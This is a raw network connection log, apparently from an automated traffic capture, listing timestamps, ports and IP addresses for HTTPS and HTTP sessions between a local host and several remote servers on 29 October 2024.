Oct 29, 2024 15:27:41.726807117 CET	49926	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.735872984 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.735882044 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.737931967 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.737962008 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.737977982 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.737983942 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.738028049 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.747101068 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.751188993 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.751218081 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.751250029 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.751256943 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.751301050 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.759725094 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.760426044 CET	49925	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.760472059 CET	443	49925	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.760967970 CET	49926	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.760986090 CET	443	49926	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.768610954 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.768646955 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.768663883 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.768672943 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.768718004 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.777451038 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.786159992 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.786201954 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.786216974 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.786228895 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.786263943 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.794775963 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.803433895 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.803467035 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.803491116 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.803497076 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.803540945 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.806550026 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.812148094 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.819417000 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.819433928 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.820211887 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.820216894 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.822345972 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.822386026 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.822398901 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.822419882 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.822462082 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.826898098 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.834517956 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.834562063 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.834618092 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.834624052 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.834858894 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.841836929 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.843518972 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.846019983 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.846105099 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.846760988 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.846767902 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.849419117 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.849461079 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.849467039 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.857763052 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.857805014 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.857847929 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.857862949 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.857871056 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.857906103 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.862215042 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.862315893 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.862319946 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.867479086 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.867794991 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.867799997 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.872361898 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.872667074 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.872672081 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.877445936 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.877516031 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.877522945 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.881647110 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.881724119 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.881731987 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.886375904 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.886435032 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.886440992 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.891277075 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.891351938 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.891360998 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.895968914 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.896040916 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.896049023 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.900903940 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.900958061 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.900965929 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.905558109 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.905622005 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.905627012 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.910420895 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.910474062 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.910480022 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.915083885 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.915210962 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.915218115 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.944914103 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.944964886 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.944973946 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.945108891 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.945220947 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.945230961 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.945297956 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.945332050 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.945370913 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.945375919 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.945415974 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.945430040 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.946280956 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.946315050 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.946361065 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.946366072 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.946409941 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.946487904 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.948755026 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.951287985 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.951293945 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.954101086 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.954161882 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.954214096 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.955096960 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.955162048 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.955168009 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.957670927 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.957772017 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.957777023 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.959012985 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.962280989 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.962431908 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.962436914 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.965749025 CET	49908	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.965763092 CET	443	49908	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.966582060 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.966655970 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.966660976 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.971044064 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.971142054 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.971146107 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.971549988 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.971566916 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.972008944 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.972014904 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.975354910 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.975498915 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.975506067 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.978478909 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.978554010 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.978619099 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.981453896 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.981550932 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.981555939 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.982050896 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.982079983 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.982213974 CET	443	49902	172.217.16.193	192.168.2.6
Oct 29, 2024 15:27:41.982223988 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.982266903 CET	49902	443	192.168.2.6	172.217.16.193
Oct 29, 2024 15:27:41.988157988 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.988202095 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.988229036 CET	49909	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.988248110 CET	443	49909	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.991053104 CET	49927	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.991076946 CET	443	49927	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.991143942 CET	49927	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.991693974 CET	49927	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.991708994 CET	443	49927	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.999217033 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.999239922 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:41.999389887 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.999552965 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:41.999562979 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.103310108 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.103339911 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.103384972 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.103440046 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.103440046 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.104648113 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.104660988 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.104695082 CET	49910	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.104701996 CET	443	49910	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.118161917 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.118196964 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.118304014 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.132299900 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.132323027 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.495707035 CET	443	49926	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.496431112 CET	49926	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.496448994 CET	443	49926	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.496927023 CET	49926	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.496932030 CET	443	49926	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.505403042 CET	443	49925	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.506093025 CET	49925	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.506129980 CET	443	49925	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.506517887 CET	49925	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.506531000 CET	443	49925	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.561614037 CET	443	49922	18.244.18.38	192.168.2.6
Oct 29, 2024 15:27:42.561995983 CET	49922	443	192.168.2.6	18.244.18.38
Oct 29, 2024 15:27:42.562014103 CET	443	49922	18.244.18.38	192.168.2.6
Oct 29, 2024 15:27:42.563015938 CET	443	49922	18.244.18.38	192.168.2.6
Oct 29, 2024 15:27:42.563081026 CET	49922	443	192.168.2.6	18.244.18.38
Oct 29, 2024 15:27:42.564064980 CET	49922	443	192.168.2.6	18.244.18.38
Oct 29, 2024 15:27:42.564126968 CET	443	49922	18.244.18.38	192.168.2.6
Oct 29, 2024 15:27:42.624787092 CET	49922	443	192.168.2.6	18.244.18.38
Oct 29, 2024 15:27:42.624799013 CET	443	49922	18.244.18.38	192.168.2.6
Oct 29, 2024 15:27:42.625891924 CET	443	49926	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.626044035 CET	443	49926	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.626132965 CET	49926	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.638422966 CET	443	49925	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.639710903 CET	443	49925	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.639777899 CET	49925	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.653573990 CET	49926	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.653598070 CET	443	49926	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.656111002 CET	49925	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.656162024 CET	443	49925	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.656196117 CET	49925	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.656213045 CET	443	49925	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.677455902 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.677508116 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.678368092 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.678394079 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.678411961 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.678443909 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.678576946 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.678590059 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.678657055 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.678672075 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.721976995 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.722408056 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.722429037 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.722865105 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.722870111 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.732712030 CET	49922	443	192.168.2.6	18.244.18.38
Oct 29, 2024 15:27:42.742249012 CET	443	49927	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.742928982 CET	49927	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.742964983 CET	443	49927	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.743416071 CET	49927	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.743427992 CET	443	49927	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.853532076 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.853555918 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.853606939 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.853636980 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.853673935 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.876975060 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.877027988 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.877058983 CET	49928	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.877078056 CET	443	49928	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.877100945 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.880358934 CET	443	49927	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.880436897 CET	443	49927	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.880510092 CET	49927	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.883544922 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.883568048 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.884031057 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.884037018 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.885792017 CET	49927	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.885792017 CET	49927	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.885819912 CET	443	49927	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.885843039 CET	443	49927	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.893202066 CET	49934	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.893249035 CET	443	49934	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.893316984 CET	49934	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.894673109 CET	49935	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.894763947 CET	443	49935	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.894850016 CET	49935	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.895097971 CET	49935	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.895134926 CET	443	49935	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.896297932 CET	49934	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:42.896315098 CET	443	49934	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:42.898643017 CET	49936	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:42.898669004 CET	443	49936	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:42.898802996 CET	49936	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:42.899084091 CET	49937	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:42.899132013 CET	443	49937	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:42.899216890 CET	49937	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:42.899346113 CET	49936	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:42.899364948 CET	443	49936	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:42.899518967 CET	49937	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:42.899552107 CET	443	49937	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:42.910589933 CET	49938	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:42.910624027 CET	443	49938	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:42.910751104 CET	49938	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:42.911370039 CET	49938	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:42.911391973 CET	443	49938	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:42.926244974 CET	49856	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:42.926538944 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:42.931664944 CET	80	49856	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:42.932111979 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:42.932183981 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:42.932360888 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:42.932416916 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:42.938021898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:42.938033104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:42.938041925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:42.938066006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:43.012995958 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.013295889 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.013339996 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.013339996 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.013390064 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.013473034 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.013488054 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.013499975 CET	49929	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.013505936 CET	443	49929	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.017885923 CET	49942	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.017911911 CET	443	49942	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.018383026 CET	49942	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.018562078 CET	49942	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.018577099 CET	443	49942	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.436284065 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.439929962 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.477186918 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.477211952 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.477698088 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.477704048 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.480628967 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.480653048 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.481296062 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.481302977 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.700397968 CET	49944	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.700438023 CET	443	49944	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.700520039 CET	49944	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.700918913 CET	49944	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.700934887 CET	443	49944	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.746104002 CET	49945	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.746129036 CET	443	49945	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.746190071 CET	49945	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.746342897 CET	49945	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.746357918 CET	443	49945	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.759584904 CET	443	49936	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.759752989 CET	443	49937	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.760030985 CET	49936	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.760049105 CET	443	49936	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.760193110 CET	49937	443	192.168.2.6	172.64.41.3
